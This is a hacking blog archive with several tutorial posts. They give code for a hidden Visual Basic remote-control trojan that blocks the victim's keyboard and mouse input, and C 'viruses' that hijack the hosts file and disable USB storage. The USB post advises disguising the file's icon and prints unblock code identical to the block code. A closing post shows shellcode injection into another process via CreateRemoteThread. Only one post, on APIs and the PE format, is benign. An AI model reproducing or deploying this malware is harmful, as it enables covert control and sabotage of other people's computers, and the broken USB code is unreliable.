Hack'a'Holic : Decrypting Encrypted Ideas: Coding

Showing posts with label Coding. Show all posts

Learn how to Make Trojan in VB (Code)

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Code: VB

Private Sub Form_Load()

Me.Visible = False

End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!

The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Code: VB

Private Sub win_ConnectionRequest(ByVal requestID As Long)

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Code: VB

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Code: VB

Private Sub Form_Load()

Me.Visible = False

App.TaskVisible = False

win.LocalPort = 2999

win.RemotePort = 455

win.Listen

End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337

win.Close

win.Accept requestID

End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)

win.GetData GotDat

DoActions (GotDat)

End Sub

Remember to add your winsock control and name it to win if you use this code.

Code: VB

Module

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Public Function DoActions(x As String)

Dim Action

Select Case x

Case "block"

Action = BlockInput(True)

End Select

End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box

should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Code: VB

Private Sub cmdConnect_Click()

IpAddy = txtIp.Text

Win.Close

Win.RemotePort = 2999

Win.RemoteHost = IpAddy

Win.LocalPort = 9999

Win.Connect

cmdConnect.Enabled = False

End Sub

Private Sub cmdDisconnect_Click()

Win.Close

cmdConnect.Enabled = True

End Sub

Private Sub cmdBlockInput_Click()

Win.SendData "block"

End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.

Do post in your comments for any Queries

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Viruses - Trojans, Windows | 6 Comments

Prank your Friend : Block Websites on his PC Virus

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the Source Code of the virus :

#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

1. Paste the Above Given Source Code in Notepad & Save it as "Website_Block.c"
2. Compile the above created source file using a C Compiler.
3. Run the compiled module ie. the exe file obtained after compilation. It will block the sites that is listed in the source code.
4.Once you run the file Website_Block.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

5. To remove the virus type the following in the Run Dialog Box. (Start -> Run)

%windir%\system32\drivers\etc

6.There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

7. Delete all such entries which contain the names of blocked sites.

Enjoy playing this Prank over your Friends & make them toil to use these Websites :D ;-)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Computers, Firefox, Viruses - Trojans, WEBSITE HACKING, Windows | 1 Comments

Disable USB Ports : Virus Source Code

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Copy the below Given Code in Notepad & Save it as "block_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

2. Again Copy the below Given Code in Notepad & Save it as "unblock_usb.c"

#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}

3. Compile the Above two saved files using a C Compiler before you can run it.

4. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).

5. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.

6. You can also change the icon of this file to make it look like a legitimate program.

Hope you would have Liked it. Do post back your comments over it. :) :)

Posted By :- |-|A|_F B|_00d Pr|nCe

posted under Coding, Hacking, Viruses - Trojans, Windows | 0 Comments

INTERNALS OF PROGRAMMING APPLICATIONS

People have always asked me is the programming that college teachers teach enough for us.

Here is the answer

it never ends.....

Any executable in order to work needs some functions to implement its features.these functions are called API.

It stands for application programming interface.

An api is set of functions that help in developement of various applications for a specific platform . These functions may provide the functionality ranging from the most basic mouse movement to the advanced process spawning tasks.Consider them just to be your normal c style functions (like add()) that are provided by the vendor or may be user defined.

dll::

dynamic linked libraries are nothing but binary files containing the definitons of the various API's.

example::

void func(){};

void main()

{

func();

}

In the function above we can also give the defintion of func() in another .c source file and then that file be included by defining the func() function in a separate file and using the directive::

#include "name of file"

before the main() function.

example::

#include "f.c"

//contents of f.c::

//void func(){}

void main()

{

func();

}

Same is the case with dlls.

For example in order to use the API MessageBox() we may use the windows.h header file which will cause the dll associated with the MessageBox API(user32.dll in this case ) to be loaded automatically at the run time by the linker(or operating system ,for simplicity). dll files contain the DllMain function (which is called at the time the dlla are initialized ) besides the usual function to export to the applicaions.

Why we add the name dynamic to them ? well the reason is that they are loaded at the runtime

(ie loaded dynamically) by the operating system into the process address space(ie the region where executable is mapped in the primary memory of the system)

What is the structure of the process like?

The PE file::

windows conforms to the pe(portable execuatble) /coff(common object file format) that defines how the executable image(file) should be laid out in the memory.

One of the main features of the pe file format is that it starts with the typical dos stub that contains the initials MZ(Mark Zbikowski)

that means if you were to open any .exe,or .dll or .sys file in notepad you would surely find these initials at the beginning...

nice alternative of checking extensions if someone has disabled the extensions isn't it! :)

there are various sections inside a pe file .these sections are .text(contains the code),.data(contains the initialized data),.rsrc section(conatins resources bitmap,cursor etc.) and there are few others.

The windows loader reads the information contained in the pe file located on the disc and uses it to construct fully working process loaded in the ram...

this is how everything works underneath an application without you even knowing it!

Posted by:

Cr4nk

posted under Coding | 0 Comments

Dll Injection +1

Programming never hurts here or there!

So lets learn a method by which we can execute our own arbitary code into other process's context.

To understand the concept you have to understand what exactly executable code is.

Under windows there are many extensions which we may have came across but never used.

The code at its most basic level is just a simple BYTE from 0x00 to 0xFF. i.e. 0-255

a simple representation of ExitProcess(0); in C language is actually very different in real machine code which we will be using in this experiment.

in C

#include

int main()

{ExitProcess(0);}

in machine lingua

xor eax,eax

push eax

mov eax,[ExitProcess]

call eax

each line represents different set of instructions

which can be formed as 0x33 0xc0 0x50 0xB8 0xFD 0x98 0xE7 0x77 0xFF 0xD0,

this is its pure form is a code for calling exitprocess api of windows which can terimate any process, should it be called from any process's context.

Now we have our resources, we require a little bit knowledge on different type of files.

.cpl control panel extension

.exe portable executable

.dll dynamic link library

.ocx Visual basic library

.sys system driver

.scr screensaver file

.drv driver

what we are concerned about here is .dll and .exe

theory

using dev-CPP which is an open source C++ compiler

we will create a sample dll which prints helloworld message.

dll name = sample.dll

then to inject that dll into another process's context means

Creating the process in suspended state

allocating memory of 11bytes

write in it "sample.dll"

then create thread on target process.

in practice:

then Create a source file in dev-CPP

write this

#include

BOOL WriteProcessBytes(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize)

{

DWORD dwOldProtect;

BOOL boolReturn = FALSE;

if(hProcess == NULL)

{

VirtualProtect(lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

boolReturn = ((memcpy(lpBaseAddress, lpBuffer, nSize))? 1 : 0);

VirtualProtect(lpBaseAddress, nSize, dwOldProtect, &dwOldProtect);

}

else

{

VirtualProtectEx(hProcess, lpBaseAddress, nSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

boolReturn = WriteProcessMemory(hProcess, lpBaseAddress, (LPVOID)lpBuffer, nSize, 0);

VirtualProtectEx(hProcess, lpBaseAddress, nSize, dwOldProtect, &dwOldProtect);

}

return boolReturn;

}

int main()

{

BYTE shellcode[]="\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2"

"\x77\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c"

"\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"

"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff"

"\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"

"\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"

"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"

"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"

"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"

"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66"

"\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"

"\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"

"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"

"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"

"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"

"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c"

"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75"

"\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"

"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d"

"\xbc\x87\x1c\x24\x52\xe8\x61\xff\xff\xff"

"\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"

"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24"

"\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d"

"\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"

"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9"

"\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53"

"\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";

HANDLE hProcess; //** Will be the process we inject

HMODULE hKernel; //** Will hold Kernel module

LPVOID lpExecString, lpLoadLibraryAddr; //** Remote string and LoadLibrary() address holder

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( &si, sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( &pi, sizeof(pi) );

CreateProcess(NULL,"C:\\Program Files (x86)\\Garena\\garena.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL,&si,&pi); //** Attempt to gain access to user-defined process

// ResumeThread(pi.hThread);

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

if(hProcess == INVALID_HANDLE_VALUE) //** Error

{

return FALSE;

}

lpExecString = (LPVOID)VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if(lpExecString==NULL){return 0;}

if(WriteProcessBytes(hProcess, (LPVOID)lpExecString, shellcode, sizeof(shellcode)) == FALSE)

{return FALSE;

}

HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpExecString, NULL, 0, NULL);

ResumeThread(pi.hThread);

CloseHandle(hProcess);

return TRUE;

}

then run the file. as stated in Createprocess api garena.exe will start running and a thread will also run in context of it which will print a hello world messageBox

in above code we havent used any form of dll injection because i got hold of raw machine code which could be written in the process and thread be started from its shellcode[0]'th position.

this technique could be used to run custom code under another process.

posted under Coding, Hacking, Informative | 2 Comments